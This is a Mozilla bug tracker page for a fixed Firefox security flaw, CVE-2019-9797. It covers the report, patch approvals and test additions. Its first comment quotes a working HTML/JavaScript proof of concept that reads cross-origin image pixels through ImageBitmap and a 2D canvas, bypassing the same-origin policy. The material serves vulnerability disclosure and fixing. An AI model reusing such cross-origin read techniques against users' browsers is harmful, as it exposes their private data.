Closed Bug 1528909 (CVE-2019-9797) Opened 6 years ago Closed 6 years ago

ImageBitmap drawn to canvases, does not affect taint

Categories

(Core :: Graphics: Canvas2D, defect)

Product:
Core
Component:
Graphics: Canvas2D
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
RESOLVED FIXED
Milestone:
mozilla67
Tracking Flags:
Tracking Status
firefox-esr60 67+ fixed
firefox65 --- wontfix
firefox66 + fixed
firefox67 + fixed

People

(Reporter: freddy, Assigned: baku)

References

(Regression)

Details

(4 keywords, Whiteboard: [reporter-external] [original reporter Aayla Secura][adv-main66+][adv-esr60.7+])

Attachments

(2 files, 1 obsolete file)

poc from comment 0.html
988 bytes, text/html
Details
Bug 1528909 - cross-origin checks in CanvasRenderingContext2D::DrawImage, r?aosmond
47 bytes, text/x-phabricator-request
RyanVM
: approval-mozilla-beta+
lizzard
: approval-mozilla-esr60+
abillings
: sec-approval+
Details | Review

New bug report from AaylaSecura, as commented on bug 1526218 comment 26.
Quoting:

I found another way to get a cross-origin image. Not sure if I should open a new bug for this, since it's not related to the bitmap context, or simply rename this one: "Exporting of tainted canvases via ImageBitmap".

Basically, creating an ImageBitmap from the same image (not loaded with CORS support) and then rendering it in a 2D canvas gives JS access to the data. Quite strange, given that drawing the ImageBlob (<img> element) directly onto a 2D canvas gives an "Insecure operation"

PoC (tested on 65.0.1 after msfa2019-04 patch), almost identical to the original one for bitmap canvas:

<html><body>
  <script charset="utf-8">
    function getData() {
      createImageBitmap(this, 0, 0, this.naturalWidth,
        this.naturalHeight).then(function(bmap) {
        var can = document.createElement('canvas');
        // msfa2019-04 fixed this
        // var ctx = can.getContext('bitmaprenderer');
        // ctx.transferFromImageBitmap(bmap);
        // but not this
        var ctx = can.getContext('2d');
        ctx.drawImage(bmap, 0, 0);
        document.getElementById('result').textContent = can.toDataURL();
        var img = document.getElementById('result_render');
        img.src = can.toDataURL();
        document.body.appendChild(img);
      }); }
  </script>
  <img style="visibility: hidden" src="https://duckduckgo.com/assets/logo_homepage_mobile.normal.v107.png" onload="getData.call(this)"/>
  <br/><textarea readonly style="width:100%;height:10em" id="result"></textarea>
  <br/>Re-rendered image: <br/><img id="result_render"></textarea>
</body></html>

Perhaps creating an ImageBitmap from a non-CORS image should be forbidden in the first place?

Attached file poc from comment 0.html —
Flags: sec-bounty?
Keywords: csectype-sop, regression, sec-high
Whiteboard: [reporter-external] [original reporter Aayla Secura]

Comment on attachment 9044956 [details]
Bug 1528909 - cross-origin checks in CanvasRenderingContext2D::DrawImage, r?aosmond

Security Approval Request

How easily could an exploit be constructed based on the patch?

it cannot be exploited

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

No

Which older supported branches are affected by this flaw?

65

If not all supported branches, which bug introduced the flaw?

Bug 1502799

Do you have backports for the affected branches?

No

If not, how different, hard to create, and risky will they be?

easy

How likely is this patch to cause regressions; how much testing does it need?

none. It introduces a security check similar to bug 1526218

Attachment #9044956 - Flags: sec-approval?

sec-approval+ for trunk. We'll want branch patches for this nominated as well.

status-firefox65: affected → wontfix
tracking-firefox66: --- → +
tracking-firefox67: --- → +
tracking-firefox-esr60: --- → 66+
Attachment #9044956 - Flags: sec-approval? → sec-approval+

Comment on attachment 9044956 [details]
Bug 1528909 - cross-origin checks in CanvasRenderingContext2D::DrawImage, r?aosmond

Beta/Release Uplift Approval Request

Feature/Bug causing the regression

Bug 1502799

User impact if declined

JS can have access to bitmaps generated from cross-origin image sources. Note that the test is not landed yet.

Is this code covered by automated tests?

Yes

Has the fix been verified in Nightly?

No

Needs manual test from QE?

No

If yes, steps to reproduce

List of other uplifts needed

None

Risk to taking this patch

Low

Why is the change risky/not risky? (and alternatives if risky)

Just another security check missing.

String changes made/needed

Attachment #9044956 - Flags: approval-mozilla-beta?

https://hg.mozilla.org/mozilla-central/rev/b55145275628

Group: gfx-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 6 years ago
status-firefox67: affected → fixed
Flags: in-testsuite?
Resolution: --- → FIXED
Target Milestone: --- → mozilla67

Comment on attachment 9044956 [details]
Bug 1528909 - cross-origin checks in CanvasRenderingContext2D::DrawImage, r?aosmond

[Triage Comment]
Fixes a sec issue from an external reporter, approved for 66.0b10.

Attachment #9044956 - Flags: approval-mozilla-beta? → approval-mozilla-beta+

(In reply to Andrea Marchesini [:baku] from comment #6)

Is this code covered by automated tests?

Yes

Needs manual test from QE?

No

Setting qe-verify- per comment 6.

Flags: qe-verify-
Attachment #9044957 - Attachment is obsolete: true

Freddy, can you verify we actually fixed this in the second go around?

Flags: needinfo?(fbraun)
Flags: sec-bounty? → sec-bounty+
Whiteboard: [reporter-external] [original reporter Aayla Secura] → [reporter-external] [original reporter Aayla Secura][adv-main66+]
Alias: CVE-2019-9797

Baku, can you remind me where you are planning to add the additional tests as we discussed previously?

Flags: needinfo?(fbraun) → needinfo?(amarchesini)

Bug 1529056. I extended the WPT testing/web-platform/tests/2dcontext/imagebitmap/createImageBitmap-origin.sub.html to check:

  1. ctx.drawImage()
  2. ctx.transferFromImageBitmap()

The test was already covering context.getImageData().

These 3 methods are checked on:
. cross-origin HTMLImageElement,
. cross-origin SVGImageElement,
. cross-origin HTMLVideoElement,
. redirected cross-origin HTMLVideoElement,
. redirected same-origin HTMLVideoElement (here we fail because we are not able to detect it),
. cross-origin HTMLCanvasElement,
. unclear ImageBitmap

Flags: needinfo?(amarchesini)
Blocks: 1502799

Link to the relevant blog post, as agreed: https://research.aurainfosec.io/same-origin-policy/

No longer blocks: 1502799
Regressed by: 1502799

Looks like we may need this also on esr 60.7 for bug 1540221. Can you request uplift?

Flags: needinfo?(amarchesini)

Comment on attachment 9044956 [details]
Bug 1528909 - cross-origin checks in CanvasRenderingContext2D::DrawImage, r?aosmond

ESR Uplift Approval Request

  • If this is not a sec:{high,crit} bug, please state case for ESR consideration: This is needed by bug 1540221.
  • User impact if declined: Cross-origin imae data is exposed to content.
  • Fix Landed on Version: 66
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): Covered by tests. Low risk.
  • String or UUID changes made by this patch: none
Flags: needinfo?(amarchesini)
Attachment #9044956 - Flags: approval-mozilla-esr60?
Attachment #9044956 - Flags: approval-mozilla-esr60? → approval-mozilla-esr60+
Whiteboard: [reporter-external] [original reporter Aayla Secura][adv-main66+] → [reporter-external] [original reporter Aayla Secura][adv-main66+][adv-esr60.7+]
Group: core-security-release
Has Regression Range: --- → yes
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: